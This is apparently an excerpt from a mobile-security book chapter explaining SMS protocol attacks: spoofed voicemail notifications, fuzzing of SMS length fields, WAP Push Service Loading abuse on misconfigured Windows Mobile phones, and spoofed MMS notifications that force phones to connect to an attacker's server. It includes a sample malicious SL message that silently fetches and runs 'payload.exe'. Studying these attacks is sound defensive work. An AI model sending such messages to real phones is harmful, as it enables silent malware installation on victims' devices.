A number of attacks belong together under one logical
heading of “protocol” attacks. However, these attacks can then be
thought of as belonging to one of two subcategories.
The first of these
subcategories is abusing legitimate functionality. These attacks do not
exploit a previously undiscovered flaw in the implementation of software
on a target mobile phone, but rather misuse legitimate functionality
purposely built into the mobile phone. In every mobile phone network
there is a significant portion of functionality that is meant to be
hidden from the end user of a mobile device. For example, administrative
and provisioning communication between mobile phones and the carrier
network is designed to take place in such a way that the user should
have no way to modify it, and ideally such that the user is not even
aware it is taking place. In the SMS realm, a number of administrative
messages take place without the user being directly informed. Typically
these relate to actions such as updating settings on the phone, pushing
executable updates to the phone, and setting up more advanced and
involved communications like MMS. One administrative function that is
not an attack, but clearly illustrates the sort of administrative
functions that can be delivered over SMS, is voicemail notifications.
Voicemail notifications occur
after a voicemail has been left for a mobile subscriber. Once the
carrier receives the voicemail, a notification must be generated to let
the mobile subscriber know they have a voicemail waiting on the
carrier’s voicemail server. This notification can be sent in one of
several ways; however, the most commonly used method is to send the
mobile subscriber a specially crafted SMS that informs the mobile phone
that X number of voicemail messages are waiting. When the mobile phone
receives this special message from the carrier, it displays a
notification to the user, generally in the form of a pop-up or a graphic
appearing on the phone. In this example, the voicemail notification is a
special administrative message sent over SMS that is only supposed to
be generated by the carrier’s network. However, often there is nothing
blocking an attacker from generating their own voicemail notification
message and sending it to a victim. Although this could hardly be
considered a serious attack, it serves to illustrate the point that
there are legitimate administrative functions performed over SMS. These
functions are meant to be sent from a carrier to a subscriber’s mobile
phone; however, typically nothing is in place to stop an attacker from
spoofing these messages and sending them to victims’ mobile phones. Figures 1 and 2
graphically illustrate, respectively, a legitimate voicemail
notification being sent to Alice, followed by an attacker (Bob) spoofing
a voicemail notification to his victim (Alice).
The
second of these subcategories involves attempting to find
vulnerabilities in the implementations of the popular SMS protocols. The
goal of these attacks is to find a vulnerability in the SMS
implementation of a mobile phone that would allow an attacker to send a
corrupted message to a victim’s phone that would result in the victim’s
phone running hostile code. Discovering these vulnerabilities often
relies on corrupting, or fuzzing,
otherwise valid SMS messages in such a way that triggers an error
condition on the mobile phone. For example, in a basic SMS header, the
length field tells the receiving mobile phone how many characters are
stored in the incoming message. If an attacker can manipulate this
length field to say there are a larger number of characters than there
really are, an error condition could potentially be triggered.
Figure 3
illustrates a normal SMS with the length field first correctly set at 3
(03), followed by the same message with the length field manipulated to
255 (FF).
Abusing Legitimate Functionality
This
section focuses on three different examples of abusing legitimate
functionality. First a background on WAP Push messages is discussed,
followed by an example attack. Next, MMS Notification functionality and
attacks are discussed. Finally, an example OTA Settings attack is
covered.
WAP Push Intro
For a multitude of
reasons, mobile carriers require the ability to interact with the mobile
phones on their network in an administrative fashion. A WAP Push SMS
message is one such mechanism carriers employ to achieve this goal. A
WAP Push message is designed to allow an authorized party such as a
user’s carrier to push content to a user’s cell phone. This allows
carriers to initiate a connection to the cell phone in order to provide
updates or services to the customers. Although WAP Push functionality
can communicate over UDP port 2049 on phones that support it, SMS is
used as the primary delivery mechanism. Once it is delivered over SMS,
the content contained inside a WAP Push message requires little if any
user interaction, depending on message type and options. The messages
are meant not to interrupt the user by mostly operating in the
background, as exemplified by the different types of WAP Push messages
available.
The three types of WAP
Push messages available are SI (Service Indication), SL (Service
Loading), and CO (Cache Operations). Both SI and SL types deliver a URI
to the phone pointing to content. The CO type invalidates objects
created by SI or SL messages. This section provides the necessary
background information on these three types so that SMS attacks
involving WAP Push messages can be discussed.
Service Indication
messages are used to inform the user that a service is available. The
user can choose to act on the information by starting the service or
postponing it.
The
service is pointed to by the URI included in the SI message. The
message can also include a description of the service in order to give
the user more contextual information on whether or not they’d be
interested in the message. Typical services can be stock quotes, e-mail
notification, and advertising. The key concept is that this message type
requires user notification and interaction.
Service Indication messages
are created in XML and then compiled to the WAP Binary XML (WBXML)
binary format, as defined by the WAP Forum. The following is a sample Service Indicator message:
<?xml version="1.0"?>
<!DOCTYPE si PUBLIC "-//WAPFORUM//DTD SI 1.0//EN"
"http://www.wapforum.org/DTD/si.dtd">
<si>
<indication href="http://example.com" si-id="1234"
action="signal-medium" >
Message Text
</indication>
</si>
The various attributes in this message are explained in the following list:
href This is a Uniform Resource Identifier (URI) to the service.
si-id This an ID for the message, represented as a string value. If it is omitted, the ID will be set to the href value.
action
This defines the action taken by the phone. The first three present
information to the user and vary in urgency. The possible actions are:
signal-low
signal-medium
signal-high
signal-none
delete
There are also attributes related to message creation and expiry times.
Service Loading messages,
as the name implies, load a service and have the option of doing so
without any user interaction. These messages were designed for carriers
to be able to force the user to execute a service. In contrast to SI
messages, SL messages only have two attributes. The following is a
sample Service Load message:
<?xml version="1.0"?>
<!DOCTYPE sl PUBLIC "-//WAPFORUM//DTD SL 1.0//EN"
"http://www.wapforum.org/DTD/sl.dtd">
<sl href="http://example.com" action="execute-low" ></sl>
The various attributes in this message are explained in the following list:
href
As before, the href attribute defines the location of the service.
However, the action attribute has different options. The action
attribute defines the level of user interaction.
execute-low
The specification states that this option must not be user intrusive.
In other words, the service is executed without informing the user.
execute-high
The specification states that this option may be user intrusive. The
implementation can vary whether the user is informed or not.
cache
The service is cached onto the phone. It is not executed but rather
just fetched. The user is not informed that the service is loaded onto
the phone.
The difference between SI and SL
is apparent in their action names: signal versus execute. As will be
shown in the next section, the service-loading functionality is of far
more use to attackers.
WAP Push CO messages
invalidate objects in the cache. CO messages are not covered because
they only allow invalidating previously sent messages. Generally the same
privileges are required to successfully send CO messages as well as SL
and SI messages.
WAP Push Attack
WAP Push Service
Loading messages are the quintessential example of legitimate
functionality that can be abused by an attacker. SL messages were
designed to allow mobile phone carriers the ability to push content to
users without user interaction. Precisely because of this functionality,
SL messages provide an incredibly attractive target for attackers who
wish to be able to push malicious content to phones. This section walks
through using a WAP Push SL message to perform an attack pushing an
executable to a mobile phone.
In this example, the attack targets Windows Mobile devices, many of which are vulnerable by default (refer to http://forum.xda-developers.com/showthread.php?t=395389). In
the case of Windows Mobile devices, the vulnerability arises out of
configuration mistakes as opposed to an implementation flaw such as a
buffer overflow. In its configuration, Windows Mobile defines what
authentication is required for SL messages in the registry using
security policies. The security policies are stored in
HKEY_LOCAL_MACHINE\Security\Policies\Policies. The SL message policy is
defined by the “0000100c” DWORD value. The default value is 0x800 or
SECROLE_PPG_TRUSTED. This means that only messages originating from a
trusted push proxy gateway are authorized. Many Windows Mobile phones,
however, have the policy set to SECROLE_PPG_TRUSTED or
SECROLE_USER_UNAUTH. Thus, any SL message regardless of source will be
accepted. Although Microsoft specifically states that
SECROLE_USER_UNAUTH should not be used in SL Message Policy (http://msdn.microsoft.com/en-us/library/bb416308.aspx),
in practice a large number of default carrier-provided Windows Mobile
devices have been found to be set to the vulnerable setting of
SECROLE_USER_UNAUTH.
When an attacker wishes to
attack a device that is set to not require any authentication of WAP
Push SL messages, they craft an attack by sending an SL message with a
link to a malicious payload. The payload can be a web page but it can
even be an executable. The following XML illustrates an attacker’s WAP
Push SL message:
<?xml version="1.0"?>
<!DOCTYPE sl PUBLIC "-//WAPFORUM//DTD SL 1.0//EN"
"http://www.wapforum.org/DTD/sl.dtd">
<sl href="http://example.com/payload.exe" action="execute-low" ></sl>
The message will force the
target phone to download payload.exe and proceed to execute it. The
attack is done without any user interaction because the action is
specified as execute-low.
This section illustrates the
ease with which attackers can abuse functionality legitimately built
into mobile phones involving SMS if the conditions are right. Although
the number of public disclosures on attacks such as this remain far
behind the number of publicly announced implementation flaws, the
severity of attacks such as this will ensure that they remain a target
of attackers for some time to come.
MMS Notification
As described in the section
on MMS, there are far more moving pieces involved in sending and
receiving an MMS message than a regular SMS. From the user’s
perspective, however, there is not much difference between
sending/receiving an MMS
and sending/receiving an SMS. That is because the additional steps
needed to send and receive an MMS are handled silently in the background
by the carrier and the user’s mobile phone. MMS notifications are one
of the many background messages used in MMS delivery. MMS notification
messages are not attacks on their own; however, other attacks are built
on top of them. In order to understand these attacks, more detailed
coverage of MMS and MMS notifications in particular is needed.
As noted earlier, MMS uses
many more messages than SMS. The majority of the new messages are
background traffic used by the phone and carrier to aid message
delivery. These messages are not displayed or available to the user. Figure 4 shows the traffic and messages used by MMS.
This figure uses numbers to represent messages in order:
Bob sends an MMS message. The underlying message is M-Send-req.
The Mulimedia Messaging Service Server (MMSC) confirms Bob’s message and sends an M-send-conf message confirming the message.
The
MMSC sends Alice a notification message, M-Notification.ind. The
message contains an URL. Note that this URL is the key for various
attacks.
Alice responds to the MMSC with an M-NotifyResp.ind message. This message is just a confirmation of message 3.
Alice
issues a WSP or HTTP GET.req message to the location provided in the
notification message from message 3. This operation can happen after a
time delay if user action is required. User action varies on different
platforms.
The
MMSC sends an M-Retrieve.conf message to Alice. The rest of the
messages are background traffic, which isn’t too relevant for attack
purposes.
Alice sends the MMSC an M.Acknowledge.inf message. The message completes the MMS for Alice.
Finally, the MMSC sends Bob an M-Send.conf message.
This discussion demonstrates the
delivery of MMS at a more detailed level. As seen, the majority of the
traffic is delivered in the background without informing the user. Out
of the messages delivered to the target phone, M-Notification.ind is the
most interesting. It is delivered on top of a WAP Push message. The
payload contains a URL that usually would point to the
carrier-controlled server.
In order to observe what
effect this message, by itself, would have on a mobile phone. The phones tested provide a range of
results, as detailed here:
The majority of the
phones did not probe the user at all and performed the GET request to an
arbitrary URL. For an attacker, this is easily the most sought-after
result. This means that if an attacker can send a victim a specially
crafted MMS notification that points to a server they control, they can
force a victim’s mobile phone to connect directly to their attack
server. This obviously opens a wide-ranging attack surface on the
victim’s mobile phone to which an attacker can directly connect.
Some
phones that prompted the user for confirmation on accessing the URL
contained in the MMS Notification still performed a silent GET request
without informing the user.
Other
phones prompted the user without providing any context as to where the
URL was located. The user was merely provided with a screen informing
them “A new message has been received – Download? (Yes/No).” It is
likely that almost every user would say yes in this situation. After the
user selects Yes, the GET request is issued.
Finally,
some phones prompted the user with full contextual information about
the originating phone number of the message and the URL pointed to in
the message.
Although it may not seem so at
first, the MMS notification message is exceptionally useful for an
attacker. To realize this importance, one needs to be aware of a large
difference between attacking a mobile device and a regular desktop or
server system. First, consider an unfirewalled system sitting on the
Internet. If an attacker wishes to launch an attack on this system,
there is nothing preventing the attacker from connecting to the system
and launching a slew of attacks. Next, consider a firewalled system on
the Internet. In this case, the attacker will likely be blocked from
accessing significant portions of the target system, yet many
potentially large areas will still remain. Compare this to a mobile
phone, where an attacker has virtually no ability to connect to the
target device. By using an MMS notification message to force a victim’s
phone to connect back to a system the attacker controls, the attacker
finally obtains the ability to launch attacks directly against the
mobile phone.
